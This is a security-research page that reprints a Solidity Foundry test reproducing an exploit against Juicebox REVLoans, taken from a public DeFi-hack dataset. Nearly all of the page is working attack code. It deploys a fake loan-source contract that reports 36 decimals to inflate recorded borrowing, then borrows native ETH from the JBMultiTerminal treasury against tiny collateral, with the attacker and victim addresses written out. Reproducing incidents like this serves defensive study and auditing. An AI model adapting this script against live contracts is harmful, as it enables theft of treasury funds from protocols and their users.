Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/JuiceboxREVLoans_exp.sol

Public reproduction file for dataset entry JuiceboxREVLoans.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/JuiceboxREVLoans_exp.sol230 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 21.77 ETH
7// Attacker : 0x23245f620d1e910Ad76E6B6dE4F8284A53C9aD2d
8// Attack Contract : EOA direct call; fake source deployed by attacker
9// Vulnerable Contract : 0x1880D832aa283d05b8eAB68877717E25FbD550Bb
10// Victim : Juicebox revnet #3 treasury in JBMultiTerminal
11// Attack Tx : https://etherscan.io/tx/0x9adbd62355eb72b4ff6c58716a503133672ed9317ab930a4c6aa31c7a1a8f938
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x1880D832aa283d05b8eAB68877717E25FbD550Bb#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2046862935650345139
18//
19// REVLoans registers the caller-supplied loan source the first time borrowFrom() uses it.
20// A fake terminal/token can therefore inflate totalBorrowedFrom without paying real assets.
21// After registering the fake source, the attacker borrows native ETH from JBMultiTerminal
22// with tiny revnet-token collateral and receives the drained treasury ETH.
24address constant ATTACKER = 0x23245F620d1e910ad76e6B6De4f8284A53C9Ad2d;
25address constant REV_LOANS = 0x1880D832aa283d05b8eAB68877717E25FbD550Bb;
26address constant JB_MULTI_TERMINAL = 0x2dB6d704058E552DeFE415753465df8dF0361846;
27address constant JB_PERMISSIONS = 0x04fD6913d6c32D8C216e153a43C04b1857a7793d;
28address constant NATIVE_TOKEN = 0x000000000000000000000000000000000000EEEe;
30uint256 constant REVNET_ID = 3;
31uint256 constant PREPAID_FEE_PERCENT = 25;
32uint32 constant ETH_CURRENCY = 61_166;
33uint8 constant BURN_PERMISSION_ID = 10;
35struct REVLoanSource {
36 address token;
37 address terminal;
40struct JBPermissionsData {
41 address operator;
42 uint64 projectId;
43 uint8[] permissionIds;
46struct JBAccountingContext {
47 address token;
48 uint8 decimals;
49 uint32 currency;
52interface IREVLoans {
53 function borrowFrom(
54 uint256 revnetId,
55 REVLoanSource calldata source,
56 uint256 minBorrowAmount,
57 uint256 collateralCount,
58 address payable beneficiary,
59 uint256 prepaidFeePercent
60 ) external;
62 function totalBorrowedFrom(
63 uint256 revnetId,
64 address terminal,
65 address token
66 ) external view returns (uint256);
69interface IJBMultiTerminal {
70 function pay(
71 uint256 projectId,
72 address token,
73 uint256 amount,
74 address beneficiary,
75 uint256 minReturnedTokens,
76 string calldata memo,
77 bytes calldata metadata
78 ) external payable returns (uint256 beneficiaryTokenCount);
81interface IJBPermissions {
82 function setPermissionsFor(
83 address account,
84 JBPermissionsData calldata permissionsData
85 ) external;
88contract ContractTest is BaseTestWithBalanceLog {
89 IREVLoans private constant loans = IREVLoans(REV_LOANS);
90 IJBMultiTerminal private constant terminal = IJBMultiTerminal(JB_MULTI_TERMINAL);
91 IJBPermissions private constant permissions = IJBPermissions(JB_PERMISSIONS);
93 FakeLoanSourceTerminal private fakeSource;
95 function setUp() public {
96 uint256 forkBlock = 24_917_718;
97 vm.createSelectFork("mainnet", forkBlock);
98 fakeSource = new FakeLoanSourceTerminal();
100 vm.label(ATTACKER, "Attacker");
101 vm.label(REV_LOANS, "REVLoans");
102 vm.label(JB_MULTI_TERMINAL, "JBMultiTerminal");
103 vm.label(JB_PERMISSIONS, "JBPermissions");
104 vm.label(address(fakeSource), "LocalFakeLoanSource");
105 }
107 function testExploit() public {
108 uint256 seedAmount = 1 ether;
109 uint256 projectTokenPayment = 0.0001 ether;
110 vm.deal(ATTACKER, seedAmount);
112 uint256 attackerBefore = ATTACKER.balance;
114 vm.startPrank(ATTACKER);
116 // step 1: obtain enough revnet #3 project tokens to post tiny collateral.
117 terminal.pay{value: projectTokenPayment}({
118 projectId: REVNET_ID,
119 token: NATIVE_TOKEN,
120 amount: projectTokenPayment,
121 beneficiary: ATTACKER,
122 minReturnedTokens: 0,
123 memo: "",
124 metadata: ""
125 });
127 // step 2: allow REVLoans to burn the attacker's revnet #3 tokens as loan collateral.
128 uint8[] memory permissionIds = new uint8[](1);
129 permissionIds[0] = BURN_PERMISSION_ID;
130 permissions.setPermissionsFor({
131 account: ATTACKER,
132 permissionsData: JBPermissionsData({
133 operator: REV_LOANS, projectId: uint64(REVNET_ID), permissionIds: permissionIds
134 })
135 });
137 // step 3: register a fake source by opening a fake-token loan.
138 uint256 fakeSourceCollateral = 22_903_320_800_000_000;
139 loans.borrowFrom({
140 revnetId: REVNET_ID,
141 source: REVLoanSource({token: address(fakeSource), terminal: address(fakeSource)}),
142 minBorrowAmount: 0,
143 collateralCount: fakeSourceCollateral,
144 beneficiary: payable(ATTACKER),
145 prepaidFeePercent: PREPAID_FEE_PERCENT
146 });
147 assertGt(
148 loans.totalBorrowedFrom(REVNET_ID, address(fakeSource), address(fakeSource)),
149 0,
150 "fake source was not registered"
151 );
153 // step 4: borrow native ETH from the real terminal using the inflated borrowed total.
154 uint256 nativeCollateral = 65_301_882_816_341;
155 loans.borrowFrom({
156 revnetId: REVNET_ID,
157 source: REVLoanSource({token: NATIVE_TOKEN, terminal: JB_MULTI_TERMINAL}),
158 minBorrowAmount: 0,
159 collateralCount: nativeCollateral,
160 beneficiary: payable(ATTACKER),
161 prepaidFeePercent: PREPAID_FEE_PERCENT
162 });
164 vm.stopPrank();
166 uint256 profit = ATTACKER.balance - attackerBefore;
167 emit log_named_decimal_uint("Attacker ETH profit", profit, 18);
168 assertGt(profit, 21 ether, "attacker profit too low");
169 }
172contract FakeLoanSourceTerminal {
173 function accountingContextForTokenOf(
174 uint256,
175 address token
176 ) external pure returns (JBAccountingContext memory context) {
177 // The historical fake source reported 36 decimals, inflating the recorded fake borrow by 1e18.
178 context = JBAccountingContext({token: token, decimals: 36, currency: ETH_CURRENCY});
179 }
181 function useAllowanceOf(
182 uint256,
183 address,
184 uint256 amount,
185 uint256,
186 uint256,
187 address payable,
188 address,
189 string calldata
190 ) external pure returns (uint256) {
191 return amount;
192 }
194 function transfer(
195 address,
196 uint256
197 ) external pure returns (bool) {
198 return true;
199 }
201 function decimals() external pure returns (uint8) {
202 return 36;
203 }
205 function allowance(
206 address,
207 address
208 ) external pure returns (uint256) {
209 return 0;
210 }
212 function approve(
213 address,
214 uint256
215 ) external pure returns (bool) {
216 return true;
217 }
219 function pay(
220 uint256,
221 address,
222 uint256,
223 address,
224 uint256,
225 string calldata,
226 bytes calldata
227 ) external payable returns (uint256) {
228 return 0;
229 }

Analysis

Dataset entry

Public Foundry test for “JuiceboxREVLoans” (2026-04-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x23245f620d1e910ad76e6b6de4f8284a53c9ad2d

  • Vulnerable Contract

    0x1880d832aa283d05b8eab68877717e25fbd550bb

  • Attack Tx

    0x9adbd62355eb72b4ff6c58716a503133672ed9317ab930a4c6aa31c7a1a8f938

File record

Name
JuiceboxREVLoans
Path
src/test/2026-04/JuiceboxREVLoans_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
db361aadeea144cd563f56ba1110e7abee20599d
Language
Solidity
Size
231 lines
Date
2026-04-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/JuiceboxREVLoans_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob db361aadeea144cd563f56ba1110e7abee20599d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.